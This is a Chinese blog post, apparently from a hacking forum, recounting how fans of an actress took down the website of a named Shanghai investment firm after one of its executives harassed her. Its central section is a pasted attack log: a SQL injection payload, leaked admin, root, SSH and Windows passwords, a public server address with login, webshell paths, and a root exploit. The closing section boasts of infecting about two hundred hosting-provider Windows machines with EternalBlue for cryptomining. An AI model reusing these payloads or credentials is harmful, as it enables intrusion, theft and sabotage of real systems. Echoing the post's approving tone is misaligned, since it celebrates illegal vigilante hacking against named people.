有这样一个公司,名为"高傅(上海)投资咨询有限公司",高大上的名字,却干着点忽悠钱的勾当。但是发生在 2018 年 1 月也许是 2017 年 12 月的某个故事告诉大家一个网站凉的可以有多块。

I. 起因

渣浪微博上有个大 V 认证叫做"石徕运转"的用户,顶着"高傅(上海)投资咨询有限公司济南分公司副总"的认证,大概也就 1197 个粉丝,到处招摇撞骗,还经常骗骗小姑娘打打想免费炮。就在某一天,骚扰了一个大概也就几万粉丝的十八线小演员吧,没有城府的人永远没有自知之明,作死的路就此开始。

II. 有人出手

"石骗子"原微博地址是:"weibo.com/gaofushiyuxin",博客地址是:"blog.sina.com.cn/gaofucaifuclub"

小演员的粉丝里有人查了下这个"高傅"公司的资料,如下:


高傅(上海)投资咨询有限公司济南分公司 注销
高傅(上海)投资咨询有限公司青岛分公司 异常
高傅(上海)投资咨询有限公司临沂分公司 注销
公司全是壳,忽悠的不要太明显啊。公司壳子,网站居然还在,还续费到了 2020 年。


公司官网域名分别是:gold-full.com 和 gaofulimited.com,公司老总陈维忠 (CHEN DAVID WAI CHUNG) 还有个骗子百科

于是大家一扒就又有粉丝出手了。

III. 关闭网站

过程我也看的挺迷的,直接贴来稿吧


###注入:
sort.php?id=0+union+select+1,2,3,4,5,6,7,8,9,0,null,12,13,14,15,16,17,18,19,20,21+--+
[email protected]  /opt/lampp/var/mysql/
admin Gaofu888999
root misty
管理员   mail.gaofulimited.com [email protected]
###服务器 10.0.22.147
SSH: 51022  RDP: 51389  DNS: 10.0.0.1
公網 SSH:121.32.236.156:60000 root0/root0
###webshell
http://www.gaofulimited.com/images/banner/man_banner.php
http://www.gaofulimited.com/images/banner/net.php
./tmp/exp => root 權限

### 內網所有 Windows:admin$/admin$12345

据说整个过程只有 3 分钟。然后粉丝们替这个公司永久关闭了网站(服务器)。从截图聊天记录到关站可以估算不到半小时吧。

IV. 为何会有这篇稿子

有粉丝投稿习科,该服务器所在托管商内网 Windows 大概二百多台全部永恒之蓝,挖矿挖了一年半,因为联系不上那个大忽悠,特此让习科给骗子发去感谢,感谢送来的真金白银的财富!